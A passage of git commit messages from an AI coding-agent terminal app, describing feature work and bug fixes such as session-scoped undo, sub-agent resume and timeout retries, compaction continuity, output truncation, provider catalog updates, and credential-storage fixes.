- Re-arm lineage tracked via optional `parent_trigger_id`.
- Workspace defaults to the active context workspace.
- Registered in `ToolRegistryBuilder::with_runtime_task_tools()` (full surface)
and `with_runtime_read_only_task_tools()` (plan-mode, read-only variant).
- 12 unit tests cover scheduling, persistence, cancellation, malformed times,
status filtering, lineage, restart recovery, and due-trigger collection.
- Updated `read_only_task_surface_contains_no_per_action_aliases` registry test
to expect 4 canonical tools instead of 3.
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
* Initial plan
* feat(config): add multiple named operator-scoped Fleet configurations (#5039)
Adds support for multiple named durable Fleet configurations in the config TOML,
each scoped to an operator identity. The existing [fleet] table remains the
backward-compatible default.
New public types:
- `NamedFleetConfigToml`: a [fleets.<name>] entry with a required `operator`
field plus independent trust/role/profile/exec settings. Exposes
`resolve_role()` and `as_fleet_config()` for unified usage.
- `FleetResolutionError`: typed, actionable errors (UnknownFleet,
UnknownOperator, AmbiguousOperator) with human-readable Display messages
that list available options rather than failing silently.
New methods on `ConfigToml`:
- `resolve_fleet(name)`: returns the named fleet or `UnknownFleet` error with
available names listed.
- `resolve_fleet_for_operator(operator)`: returns the unique fleet owned by an
operator; `UnknownOperator` if none matches, `AmbiguousOperator` if more
than one matches (caller must name a fleet explicitly).
New `fleets` field on `ConfigToml`: `BTreeMap<String, NamedFleetConfigToml>`,
serialized under [fleets.*] keys. Skipped when empty so legacy configs are
byte-for-byte unchanged.
config.example.toml updated with full named-fleet documentation and examples,
including the selection-precedence comment.
14 new tests added to crates/config/src/tests.rs covering: legacy-only,
mixed (legacy + named), multiple named fleets, resolve_fleet/operator success
and error paths, error message content, as_fleet_config view, and round-trip
serialization. All 489 tests pass.
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
* Initial plan
* WIP: invalidate context meter after compaction
* Add compaction token meter regression test
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
* Initial plan
* fix(web): digest post returns real GitHub Issue URL instead of false ok:true
The admin digest "post" action was returning `{ ok: true, action: "digest-skipped" }`
without posting anything or marking the draft as posted. This caused the draft to
reappear in Pending forever — a false success receipt.
Fix: digest drafts are now posted as new GitHub Issues (using the existing
MAINTAINER_GITHUB_PAT + REST API). The response includes the real issue
`number` and `url`; `draft.posted` is set to true and the draft is stored back.
GitHub API failures propagate as 502 errors, never as ok:true.
Tests: two new source-contract tests in public-api-security.test.ts pin both
paths — happy path (real url/number returned) and error path (502, not ok:true).
Closes#5178
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
* Initial plan
* fix: zh admin pre-fills and publishes bodyZh not bodyEn
startEdit always set editBody to draft.bodyEn regardless of locale.
Change to isZh ? draft.bodyZh : draft.bodyEn so the /zh admin
textarea pre-fills the Chinese body.
Also fix the "Posted" preview row which displayed bodyEn unconditionally
— now respects isZh in the same way.
Add a test asserting that POST /api/admin/post with lang=zh and no
editedBody sends the zh body to GitHub, not the English one.
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
* fix(undo): scope /undo to the current session and add a trusted-mode gate
The snapshot side-repo has no session boundary, and /undo's target selection walked past snapshots whose tree matched the working tree. On a chat-only session this could silently roll the workspace back to a previous conversation's pre-turn snapshot, discarding unrelated work (e.g. an entire patches/ directory).
Changes:
- Snapshot gains an owning session id, encoded as a [sid=...] label prefix; engine pre/post-turn and pre-tool snapshot points stamp it.
- /undo only auto-picks snapshots from the current session on tagged chains; fully legacy (untagged) chains only consider the newest candidate and stop at the first matching tree instead of walking further back with no boundary to stop at.
- /undo now requires trusted mode (Full Access or /trust on), matching /restore's gate. The gate refusal does not fall through to conversation undo.
- revert_turn scopes pre-turn candidates to the current session via ToolContext::state_namespace.
- prune_keep_last_n re-encodes the [sid=...] prefix when rebuilding the survivor chain past DEFAULT_MAX_SNAPSHOTS, so session tags survive pruning.
- Tests: cross-session boundary, gate refusal, legacy-chain stop, session-tag round-trip, prune-tag preservation.
(cherry picked from commit 80d98c80e57245d954161015c832b79db5b50ce2)
* fix(undo): fail closed outside current session
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
---------
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Co-authored-by: Sh1Zuku <125943630+SparkofSpike@users.noreply.github.com>
Delete the unwired Linux module whose wrapper returned the original command unsandboxed, and update sandbox documentation to describe only source that still exists. Keep the live bubblewrap selection and denial contract unchanged.\n\nRefs #4785. Audited with the Grok CLI.
* Initial plan
* feat(subagent): add resume_from continuation chains (#425)
Add `resume_from` parameter to the `agent` tool's `action=start` path,
implementing the continuation-chain contract from issue #425.
Semantics:
- `resume_from` accepts a settled child agent_id or session name.
- The source agent must not be running (completed, interrupted, failed,
cancelled, or budget_exhausted are all accepted).
- The source must live in the same workspace as the spawning agent;
cross-workspace sources are rejected with a clear error.
- The full transcript is loaded from the on-disk artifact. When the
artifact is unavailable (legacy record, archived child, process-restart
resume) the checkpoint messages are used as a fallback.
- The loaded transcript is injected into the child's `fork_context`,
forcing `fork_context=true` so the new agent starts with the prior
lineage and the provider can reuse prefix-cache entries.
- Explicitly setting `fork_context=false` together with `resume_from`
is rejected at spawn time as contradictory.
Receipt traceability:
- `SubAgentSpawnOptions.resume_from_agent_id` carries the source id
into `ChildLaunchManifest.resume_from_agent_id` (persisted).
- `WorkflowTaskSpawnMetadata.resume_from_agent_id` stamps the receipt
returned to workflow/tool callers.
Schema change:
- New `resume_from` property added to the `agent` tool JSON schema.
Tests (16 new, all green):
- parse accepts resume_from / resumeFrom camelCase / absent / whitespace-only
- parse accepts resume_from + fork_context=false (conflict detected at spawn)
- manager rejects running source with actionable error message
- manager rejects missing source
- manager accepts completed / interrupted / failed / cancelled sources
- manager rejects cross-workspace source
- transcript artifact loaded when available
- checkpoint fallback when artifact is missing
- session name resolves to agent_id via resolve_agent_ref
- SubAgentSpawnOptions carries resume_from_agent_id
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
* Initial plan
* Fleet: named agents bind strictly to configured roles; only general exposes model options
- Add validation guard in apply_spawn_profile to reject model/model_strength
overrides for non-general fleet profiles, with clear error message pointing
to profile=general as the only escape hatch
- Update schema descriptions for profile, model_strength, and model fields to
document that model/model_strength options are general-dispatch-only
- Add fleet_profile field to SubAgentSessionProjection so the resolved profile
name is visible in the spawn receipt
- Add three tests covering the new guard: named profiles reject overrides,
general allows them, custom named profiles also reject them
Closes#5046
* fix(tui): pass shadowed slice in #5069 capability badge test
member_detail_lines_with_session gained a third shadowed: &[ShadowedProfile]
parameter in 3de1554c4; the capability-badge test added by a94c5b523 still
called it with two arguments, breaking the codewhale-tui test build.
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
* fix(tui): run operate goals to the completion gate, make continuation cap a configurable backstop
The goal loop stopped at a hardcoded MAX_GOAL_CONTINUATIONS = 10, turning
the tenth automatic continuation pass into a terminal stop even when the
goal was incomplete and budget remained. Operate-mode goals now run until
completion-verified, blocked, or a token/time budget is exhausted; the
continuation cap is a configurable safety backstop:
- [goal] max_continuations in config.toml (default 100, 0 = unlimited
with budget/terminal stops only), merged across profile overlays and
plumbed through EngineConfig into every decide_continuation call site.
- GoalBudget carries the backstop; decide_continuation logs a warning
when the backstop fires, and the pause message names the knob.
- Regression tests: a goal continues past 10 passes (decision core and
engine wiring, including backstop 0), a configured backstop still
halts a pathological loop, and [goal] parsing covers default/override/0.
Refs #5052
Implemented with agent assistance (Claude).
* docs(goal): state the live budget contract
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
* test(tui): pass shadowed slice to member_detail_lines_with_session
The v0.9.4 train's #5098 added the shadowed-profiles parameter after
\#5069's capability-badge test was written, leaving the test target
uncompilable (E0061). Pass an empty slice; the badge assertions do not
exercise shadowing.
---------
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
* feat(tui): show model capability badges in Fleet setup and roster
Fleet setup asked users to assign models to roles without showing the
facts needed to choose. Add one shared resolver,
fleet::capability_badges::resolve_route_capability_badges, that answers
"what can this model do" for a (provider, model) route:
- exact merged Models.dev catalog offerings first (provider-aware,
bundled/live/override layers via provider_lake — no second catalog),
- seeded model_registry facts for ids without a catalog row,
- None for completely unknown models, so absence renders as absence and
never blocks selection.
Badges are concise and provenance-labelled (`1M ctx · 384K out · tools ·
reasoning · no vision (bundled catalog)`): three-state catalog facts keep
explicit "no tools"/"no vision", unknowns are omitted rather than guessed.
Rendered in the Fleet setup Model step's word-wrapped detail pane (list
stays narrow-terminal friendly) and in the roster detail pane for pinned
member models and the operator's session model.
model_registry.rs loses its module-level #![allow(dead_code)]: every item
now has production consumers (model_profile, model_picker, and this
resolver).
Tests cover known-catalog resolution, registry fallback for custom
routes, graceful absence for unknown models, explicit-unsupported badge
text, auto->model display routes, and both views' rendering paths.
Implemented with agent assistance (Claude).
Refs #5038
* fix(ci): keep fleet roster below structure ceiling
* fix(fleet): keep capability facts provider-aware
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
---------
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
* feat(tui): notification quiet mode, per-category switches, action-first copy
Bounded slice of the v0.9.4 notification-policy issue:
- Add a NotificationGate enforced inside notify_done_to, the single
choke point every delivery mechanism (OSC 9, Kitty OSC 99, Ghostty
OSC 777, BEL, macOS Notification Center) passes through, so a
suppressed category cannot leak via one specific protocol. The gate
is installed from config by notifications::settings() and loaded
atomically by notify_done (same pattern as the completion-sound
state).
- New config surface, documented in docs/CONFIGURATION.md:
[notifications].quiet (one-flag quiet mode, default false) and
[notifications.events] per-category switches (turn-complete,
subagent-terminal, approval-needed, input-needed, elevation-needed,
model-notify; all default true). A suppressed notification also
suppresses its paired event_sound cue; completion_sound stays
independently governed.
- Normalize the hardcoded interactive banners to action-first copy
that names the subject, centralized in tested helpers:
"Approval needed" -> "Approve or deny '<tool>' to continue",
"Action required: please respond in the terminal" -> "Answer the
question in the terminal to continue", "Sandbox blocked a tool" ->
"Allow or deny elevated access for '<tool>'". Turn-complete and
subagent headlines were already localized event-naming copy and are
unchanged.
- Tests: gate default/quiet/per-category logic, bit-packing roundtrip,
gated emission producing zero bytes at the emission path,
settings() installing the gate from parsed TOML, config parse
defaults, and the reworded banner copy contract.
Deferred (follow-up): the CWC signal-phase mark asset integration for
desktop surfaces needs the approved asset from the CWC repo; also the
broader sweep of in-TUI footer toast copy (push_status_toast sites) --
this slice normalizes the desktop-notification path where copy was
hardcoded and untested.
Refs #5041
Implemented with agent assistance (Claude).
* fix(ci): keep notification schema within budget
* fix(tui): harden notification gate handling
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
---------
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
* feat(compaction): carry forward a deterministic continuation contract
Compaction previously relied entirely on the summarizer model to preserve
what the successor agent needs: the active goal, decisions already made,
verification evidence, and in-flight tool state. A generic or lossy
summary could erase all of it — the defect class that stalled a live
operator session at 97% context.
Add build_continuation_block(), a runtime-extracted (not model-generated)
continuation contract embedded in the compaction summary system block:
- Working contract: the first user request verbatim, so the
system-prompt-adjacent task brief can never be dropped merely because
its message index was summarized (project instructions and the engine
system-prompt merge already cover the system-prompt side).
- Active intent: the most recent user request verbatim.
- Decisions already made: assistant prose lines carrying decision markers.
- Evidence and verification: tool-result lines with pass/fail/error/exit
markers, attributed to the producing tool.
- In-flight tool state: dispatched tool calls with no recorded result —
exactly the calls enforce_tool_call_pairs must drop from retained
messages, so this block is their only surviving record.
All sections are bounded and deduplicated; the block instructs the
successor to trust it over the model summary on disagreement.
Regression tests: a unit test over a synthetic active-task session
asserting intent/decision/evidence/in-flight markers survive, and an
end-to-end compact_messages test with a mock ModelClient proving the
working contract survives verbatim even when its message is genuinely in
the summarized set and the orphaned in-flight tool call is removed from
retained messages.
Deferred: automatic compaction-trigger tuning, repeated-compaction
contradiction control, and live refresh of repo/GitHub facts.
Refs #5043
Implemented with agent assistance (Claude Code).
* fix(compaction): redact continuation contract secrets
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
* fix(compaction): exclude pinned continuation content
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
* test(compaction): keep continuation fixture unpinned
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
* fix(compaction): redact tool inputs structurally
Walk tool-input JSON recursively before serialization so sensitive keys are masked without discarding safe sibling arguments. Keep bare-token redaction on string leaves and cover sensitive-first, sensitive-later, nested, and multi-word secret regressions.
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
---------
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Audit of the web retrieval surface (web_search, web.run, fetch_url)
against the incoherences named in the dogfood issue:
- Shared defaults: DEFAULT_SEARCH_RESULTS / DEFAULT_SEARCH_TIMEOUT_MS /
MAX_SEARCH_TIMEOUT_MS now live in web::contract; web_search and
web.run derive their result-count and timeout knobs from them instead
of hardcoding drifting copies. web.run's open timeout is anchored to
the guarded-fetch DEFAULT_TIMEOUT, and its short/long result counts
are anchored to the shared contract bounds.
- One browser UA: the scraper user agent duplicated across web_search
and web.run moved to web::scrape::BROWSER_USER_AGENT; the guarded
fetch UA now tracks CARGO_PKG_VERSION instead of a stale hardcoded
0.9.1 release string.
- Failure classes: missing provider configuration (API keys, SearXNG
base_url) is now preflighted uniformly as InvalidInput with an
'<provider> search is not configured: ...' message plus the exact
config fix, so config gaps are distinguishable from transport
failures (ExecutionFailed with request/HTTP detail) and from empty
results (Ok with 'No results found'). SearXNG's missing base_url is
caught in preflight before any cache or network attempt.
- Handoff provenance: web.run open failures now name the URL alongside
the HTTP status; a regression test proves search-result ref_ids
resolve through the session citation registry to their exact source
URL (the seam open relies on) and stay session-scoped.
Deferred: new search providers; unifying web.run's larger per-page
fetch byte cap with fetch_url's 1 MB default (web.run paginates whole
documents, so shrinking it needs its own evaluation); the search
results pseudo-page URL always reading as the DuckDuckGo endpoint
regardless of backend.
Written with agent assistance (Claude Code).
Refs #5037
Feel/unclunk lane for 0.9.4 (FINISH-0.9.4.md findings #36 and #39).
Sub-agent strip (#36): work-surface worker rows were labelled
"Sub-agent <name>" where the name fell back to the raw agent id hash,
with no nesting signal and a lingering spawn-metadata receipt after
completion. Rows now read "1 builder", "2 scout" — sequential number
+ fleet role (+ nickname/stable label only when a real one exists; the
raw id is never a name). Nested spawns order directly under their
parent with a ↳ indent shown only when nesting is actually present.
Completed agents keep status + objective; in-flight tool/step/file
metadata no longer dumps into the receipt. The classic footer agent
label now leads with the fleet role ("builder: <objective>").
Active goal (#39): the ocean shell has no sidebar and its phase strip
never read goal state, so a goal set via create_goal was invisible in
the default shell even though the runtime tracked it. The topbar now
carries a goal chip (objective, truncated; 'goal paused' when paused;
nothing when unset or terminal), surviving cramped layouts ahead of the
route label and dropping cleanly when even a minimal chip cannot fit.
The paused/active/terminal resolution is shared with the classic footer
chip via active_goal_chip_state.
Feel/unclunk lane for 0.9.4 (FINISH-0.9.4.md findings #36 and #39).
Sub-agent strip (#36): work-surface worker rows were labelled
"Sub-agent <name>" where the name fell back to the raw agent id hash,
with no nesting signal and a lingering spawn-metadata receipt after
completion. Rows now read "1 builder", "2 scout" — sequential number
+ fleet role (+ nickname/stable label only when a real one exists; the
raw id is never a name). Nested spawns order directly under their
parent with a ↳ indent shown only when nesting is actually present.
Completed agents keep status + objective; in-flight tool/step/file
metadata no longer dumps into the receipt. The classic footer agent
label now leads with the fleet role ("builder: <objective>").
Active goal (#39): the ocean shell has no sidebar and its phase strip
never read goal state, so a goal set via create_goal was invisible in
the default shell even though the runtime tracked it. The topbar now
carries a goal chip (objective, truncated; 'goal paused' when paused;
nothing when unset or terminal), surviving cramped layouts ahead of the
route label and dropping cleanly when even a minimal chip cannot fit.
The paused/active/terminal resolution is shared with the classic footer
chip via active_goal_chip_state.
Regenerated crates/tui/CHANGELOG.md from the workspace root via
scripts/sync-changelog.sh.
Assisted by Claude Code.
Signed-off-by: shenjackyuanjie <54507071+shenjackyuanjie@users.noreply.github.com>
(cherry picked from commit e27ebdb64095cb4a903c10989ebf8dc328a51b14)
cmd's %* expansion strips the quotes rustc puts around link arguments that
contain spaces, so an SDK path like "D:\DevEco Studio\...\sysroot" arrived at
the clang launcher split on the space and the final Rust link failed. Walk the
arguments with %~1 and re-wrap each in quotes before forwarding to the
PowerShell wrapper, and extend the no-SDK release guard to keep the re-quoting
contract.
Assisted by Claude Code.
Signed-off-by: shenjackyuanjie <54507071+shenjackyuanjie@users.noreply.github.com>
(cherry picked from commit 6a3837cd48dc937bfaff6288750ac79f7f9cd2fd)
ratatui-core 0.1.1+ queries cursor position in Terminal::clear, racing
our input loop at startup ("The cursor position could not be read within
a normal duration"). Pin ratatui =0.30.0 and ratatui-core =0.1.0 until
upstream fixes it (ratatui/ratatui#2483, #2640).
(cherry picked from commit cc8bbb1bb57f5968da425b0bd5ab06ec85ea8de0)
Dogfood finding (FINISH-0.9.4 appendix #35): large tool results were
elided dishonestly — the model could not tell content was omitted, the
preview could be empty or misleading, thresholds were too aggressive,
and the footer withheld where the full output went.
- large_output_router: raise DEFAULT_LARGE_OUTPUT_THRESHOLD_TOKENS from
4_096 to 32_768 so ordinary results (file reads, build logs) stay
inline. Band logic unchanged (Inline <= t/4, Hybrid <= t, HandleOnly).
- truncate: adaptive evidence windows are now Hybrid 32 KiB head + 8 KiB
tail and HandleOnly 16 KiB head + 4 KiB tail; head/tail never overlap
(shared head_tail_windows helper). truncated_preview returns content
unchanged when omitted == 0 — it never claims a truncation that did
not happen, and the adaptive path declines to publish an artifact in
that case. The model-facing footer now names the omitted bytes/lines,
the on-disk artifact path, and a one-line recovery instruction.
SPILLOVER_PREVIEW_HINT is kept for TUI rendering only.
- file: read_file results stamp metadata evidence_routing=inline; the
tool self-bounds at 16 KiB behind its own next_start_line contract,
so the envelope must not double-wrap it. registry respects a
tool-declared routing instead of overwriting it with the estimate.
- engine context compactor + wire compactor (chat.rs): pass
evidence-bounded previews through untouched. Re-compacting them
destroyed the footer and falsely reported "no session-owned artifact
was recorded".
- history: is_truncated_output_preview also recognises the new footer.
Tests: updated existing assertions to the new intended behavior
(threshold sizes, footer shape, preview budgets; acceptance/PTY probes
now fill both streams to exceed the Hybrid budget with the sentinel in
the envelope-omitted middle). New regressions: omitted==0 passthrough,
head/tail non-overlap incl. UTF-8 edges, footer names artifact path +
recovery line, default threshold is 32_768, evidence previews are not
re-compacted.
cargo fmt --all clean. cargo test -p codewhale-tui: 9624 passed; the 19
bin failures (provider alias/catalog tests) and 2 qa_pty failures
(interactive_init, v091 visual matrix) reproduce identically on base
d53f4f998 and are unrelated.
An @-mention that missed the exact two-pass lookup (workspace root, then
launch cwd) injected a <missing-file> block carrying the workspace-root
join as path= — a path we already knew did not exist. Dogfood: typing
@FINISH-0.9.4.md at the workspace root resolved "not found" with the
wrong path even though the file sat one directory down.
Misses now fall back to a bounded, unique-match-only search of the
composer's already-built background completion index (no submit-time
tree walk, preserving #4365): path-suffix hits win over basename hits,
ambiguity or a stale entry resolves nothing, and the winning candidate
must still exist on disk. Absolute and ~-anchored mentions never fall
back — a same-basename file elsewhere would be a different file.
Unresolvable misses now emit an honest block that names only what the
user typed (<missing-file mention="@x" />), and the context inspector
reports the typed token instead of the fabricated guess as the missing
reference's target.
Also note in the Bash tool description that commands run via $SHELL and
that under zsh a bare word starting with = triggers =command expansion
(e.g. echo === fails) and should be quoted.
Regression tests: unique basename/suffix resolution, ambiguity, stale
index entries, absolute-mention exclusion, honest miss format, and
inspector target accuracy.
A per-step create_message call that exceeded step_api_timeout went
straight to Interrupted with zero retries, so one live-but-slow provider
call killed an entire child (dogfood: a 6-agent fan-out wiped out one by
one at the 120s wall, FINISH-0.9.4 entries #39/#40). Fold the timeout
arm into the retry machinery:
- SUBAGENT_API_TIMEOUT_MAX_RETRIES (5) per-step timeout budget with
exponential backoff (1s base, x2, 30s cap, +/-20% jitter via the
llm_client UUID-entropy idiom) and the same ModelWait progress event
style as the transient-provider retry path.
- After exhaustion, behavior is unchanged: Interrupted with the
checkpoint preserved for continuation (api_timeout).
- DEFAULT_SUBAGENT_API_TIMEOUT_SECS 120 -> 600 and clamp ceiling
1800 -> 3600; doc comments, config.example.toml, and docs updated
(including the stale ~/.deepseek/config.toml reference). The resolved
default heartbeat rises to 630s via the existing api+30s floor.
- Tests: deterministic backoff sequence + jitter bounds, retry-then-
success and retry-then-exhaustion integration coverage (new
always_delayed_chat_client helper; backoff shrinkable in tests),
config clamp literals (600 default, 3600 accepted, 3601 clamped).
Dogfood finding (FINISH-0.9.4 appendix #35): large tool results were
elided dishonestly — the model could not tell content was omitted, the
preview could be empty or misleading, thresholds were too aggressive,
and the footer withheld where the full output went.
- large_output_router: raise DEFAULT_LARGE_OUTPUT_THRESHOLD_TOKENS from
4_096 to 32_768 so ordinary results (file reads, build logs) stay
inline. Band logic unchanged (Inline <= t/4, Hybrid <= t, HandleOnly).
- truncate: adaptive evidence windows are now Hybrid 32 KiB head + 8 KiB
tail and HandleOnly 16 KiB head + 4 KiB tail; head/tail never overlap
(shared head_tail_windows helper). truncated_preview returns content
unchanged when omitted == 0 — it never claims a truncation that did
not happen, and the adaptive path declines to publish an artifact in
that case. The model-facing footer now names the omitted bytes/lines,
the on-disk artifact path, and a one-line recovery instruction.
SPILLOVER_PREVIEW_HINT is kept for TUI rendering only.
- file: read_file results stamp metadata evidence_routing=inline; the
tool self-bounds at 16 KiB behind its own next_start_line contract,
so the envelope must not double-wrap it. registry respects a
tool-declared routing instead of overwriting it with the estimate.
- engine context compactor + wire compactor (chat.rs): pass
evidence-bounded previews through untouched. Re-compacting them
destroyed the footer and falsely reported "no session-owned artifact
was recorded".
- history: is_truncated_output_preview also recognises the new footer.
Tests: updated existing assertions to the new intended behavior
(threshold sizes, footer shape, preview budgets; acceptance/PTY probes
now fill both streams to exceed the Hybrid budget with the sentinel in
the envelope-omitted middle). New regressions: omitted==0 passthrough,
head/tail non-overlap incl. UTF-8 edges, footer names artifact path +
recovery line, default threshold is 32_768, evidence previews are not
re-compacted.
cargo fmt --all clean. cargo test -p codewhale-tui: 9624 passed; the 19
bin failures (provider alias/catalog tests) and 2 qa_pty failures
(interactive_init, v091 visual matrix) reproduce identically on base
d53f4f998 and are unrelated.
An @-mention that missed the exact two-pass lookup (workspace root, then
launch cwd) injected a <missing-file> block carrying the workspace-root
join as path= — a path we already knew did not exist. Dogfood: typing
@FINISH-0.9.4.md at the workspace root resolved "not found" with the
wrong path even though the file sat one directory down.
Misses now fall back to a bounded, unique-match-only search of the
composer's already-built background completion index (no submit-time
tree walk, preserving #4365): path-suffix hits win over basename hits,
ambiguity or a stale entry resolves nothing, and the winning candidate
must still exist on disk. Absolute and ~-anchored mentions never fall
back — a same-basename file elsewhere would be a different file.
Unresolvable misses now emit an honest block that names only what the
user typed (<missing-file mention="@x" />), and the context inspector
reports the typed token instead of the fabricated guess as the missing
reference's target.
Also note in the Bash tool description that commands run via $SHELL and
that under zsh a bare word starting with = triggers =command expansion
(e.g. echo === fails) and should be quoted.
Regression tests: unique basename/suffix resolution, ambiguity, stale
index entries, absolute-mention exclusion, honest miss format, and
inspector target accuracy.
A per-step create_message call that exceeded step_api_timeout went
straight to Interrupted with zero retries, so one live-but-slow provider
call killed an entire child (dogfood: a 6-agent fan-out wiped out one by
one at the 120s wall, FINISH-0.9.4 entries #39/#40). Fold the timeout
arm into the retry machinery:
- SUBAGENT_API_TIMEOUT_MAX_RETRIES (5) per-step timeout budget with
exponential backoff (1s base, x2, 30s cap, +/-20% jitter via the
llm_client UUID-entropy idiom) and the same ModelWait progress event
style as the transient-provider retry path.
- After exhaustion, behavior is unchanged: Interrupted with the
checkpoint preserved for continuation (api_timeout).
- DEFAULT_SUBAGENT_API_TIMEOUT_SECS 120 -> 600 and clamp ceiling
1800 -> 3600; doc comments, config.example.toml, and docs updated
(including the stale ~/.deepseek/config.toml reference). The resolved
default heartbeat rises to 630s via the existing api+30s floor.
- Tests: deterministic backoff sequence + jitter bounds, retry-then-
success and retry-then-exhaustion integration coverage (new
always_delayed_chat_client helper; backoff shrinkable in tests),
config clamp literals (600 default, 3600 accepted, 3601 clamped).
qwen3.8-max was showing 128K because Model Studio hand-seam offerings
shipped empty RouteLimits, won identity collisions over the 1M catalog
rows, and fell through to the legacy 128K default (that number is the
generation ceiling, not the window). Hand-seam limits now publish 1M
context / 128K output for qwen3.8-max; models.rs pins the same facts.
Catalog surface: one identity per vendor. Dual-wire kinds (DeepSeek /
MiniMax / Model Studio *Anthropic) and Model Studio coding-plan kinds
stay on the enum for serde, but leave ProviderKind::ALL / picker catalog.
Plan is mode/base_url (Z.ai/Xiaomi shape). Dialect is
providers.<id>.wire = openai|anthropic — a power-user toggle, not a
second row. Aliases collapse onto the primary; legacy kinds still resolve.
Verified: codewhale-config lib 489 pass; targeted modelstudio/picker/cli
helpers green.
One Alibaba Cloud Model Studio account authenticates Token Plan and
Coding Plan in both OpenAI and Anthropic dialects. The four variants
now share a single durable secret-store slot (modelstudio-token-plan)
and env convention (MODELSTUDIO_API_KEY / DASHSCOPE_API_KEY), so the
provider picker stops showing three bogus "missing key" rows after one
save. CLI provider_slot and ConfigToml secret resolution route through
ProviderKind::secret_store_slot.
Image input is per model from the owner's Token Plan console
(2026-08-03): qwen3.8-max / -preview / qwen3.7-plus / qwen3.6-flash
Supported; qwen3.7-max, deepseek-v4-*, glm-5.2 Unsupported.
Verified:
- cargo test -p codewhale-config modelstudio_ → 2 pass
- cargo test -p codewhale-secrets modelstudio_ → 1 pass
- cargo test -p codewhale-tui --bin codewhale-tui modelstudio_ → 2 pass
- cargo test -p codewhale-cli cli_provider_helpers → 1 pass
Merge the upstream Models.dev alibaba-token-plan / alibaba-token-plan-cn /
alibaba-coding-plan / alibaba-coding-plan-cn entries (fetched 2026-08-03)
into the offline seed as the four CodeWhale provider ids
(modelstudio-token-plan, modelstudio-token-plan-anthropic,
modelstudio-coding-plan, modelstudio-coding-plan-anthropic), matching the
snapshot's existing conventions (CodeWhale ids, minimax-anthropic-style
dialect pairs, compact fields, no plan pricing per the honesty rule).
qwen3.8-max (GA) is curated ahead of upstream, which as of 2026-08-03 lists
only qwen3.8-max-preview; facts verified against the owner's Token Plan
console: ~1M context, 128K output, image understanding, always-on
reasoning. deepseek-v4-flash-0731 keeps the console/in-repo wire id for
the row upstream serves as deepseek-v4-flash. The -cn regional variants
stay upstream-id browse rows (ProviderKind aliases already normalize the
intl ids onto CodeWhale kinds; -cn aliases would misroute China keys to
intl endpoints, so none were added).
Verified: scripts/catalog_models_dev.py snapshot --check (providers=20,
provider_offerings=78), scripts/catalog_models_dev_test.py (5 OK),
cargo test -p codewhale-config (476 passed, 0 failed).
The read chain lets a plaintext config-file api_key win over the
provider's durable secret-store slot (precedence steps 0/1). That is
deliberate — `codewhale auth set` must fix stale shell exports — but the
shadow was invisible: rotate the key in the secret store and nothing
changes, because the stale plaintext copy still wins (#5194).
Mirror the fleet-roster shadowing rule (#5098): precedence is normal,
but it must be VISIBLE. config_api_key_shadow_warning() decides whether
both sources hold a credential for the provider and builds a message
naming both sources (the exact config table/root slot and the
secret-store slot), which one won (the config file), and the resolve
command (`codewhale auth set --provider <id>`, which moves the key into
the secret store and strips the plaintext copy).
warn_on_config_api_key_shadowing() emits it via tracing::warn! at most
once per provider slot per process — credential resolution runs on every
request, and a repeating warning is noise, not signal. Wired into all
three config-file-wins branches: the DeepSeek root api_key, the
provider-table api_key, and the legacy literal-custom root key. The
probe uses the read-only store mode so the warning never triggers a
platform credential prompt.
Tests: config_api_key_shadow_warning_names_sources_winner_and_resolution
pins the message content; ..._stays_quiet_without_a_store_slot pins the
no-shadow case.
Evidence: cargo test -p codewhale-tui --bin codewhale-tui -- config::
486 passed 0 failed.
Refs #5194, refs #5098.
run_login_command_with_secrets wrote the provider selection and auth_mode
markers through the ambient ConfigStore, and AuthCommand::Set did the same
via persist_provider_api_key. With CODEWHALE_CONFIG_PATH pointing at a
workspace-scoped <repo>/.codewhale/config.toml, the provider binding and
auth markers landed in that repo's file: invisible from every other repo,
and an invitation for plaintext keys to drift into a committable document
(#5198). The secret-store key was already user-global; the metadata was
not.
Add credential_metadata_store(): when the ambient store's path classifies
as workspace-scoped (codewhale_config::config_path_is_workspace_scoped,
re-landed in 158b86f73), login and auth set retarget their config writes
to a store loaded on the user-global document
(codewhale_config::default_config_path — explicit CODEWHALE_HOME wins),
and say so on stderr. Key + provider binding + auth markers now share one
user-global scope by default; a workspace-scoped destination remains
possible only by pointing CODEWHALE_HOME itself at the workspace.
Tests: login_with_repo_scoped_ambient_config_writes_user_global_metadata
and auth_set_with_repo_scoped_ambient_config_writes_user_global_metadata
run both flows against a repo-scoped CODEWHALE_CONFIG_PATH and assert the
repo file stays byte-identical while the user-global document carries the
provider binding/auth markers and the key lands only in the secret store.
Evidence: cargo test -p codewhale-cli --lib 208 passed 0 failed.
Out of scope, flagged for follow-up: CLI logout/auth-clear still scrub
only the ambient document; when the ambient path is workspace-scoped the
user-global auth markers survive logout (no credential, just stale
metadata). Scrubbing the repo file of leaked plaintext keys on logout is
also still valuable, so that change wants its own decision.
Refs #5198, refs #5193, refs #5045.
clear_api_key_unlocked and clear_active_provider_api_key_unlocked only
stripped api_key entries from the config file; the provider's
secret-store slot survived, and since the read chain prefers the secret
store over the file, a "cleared" key silently came back on the next
launch (#5196).
- clear_api_key (full-wipe logout) now also deletes every provider's
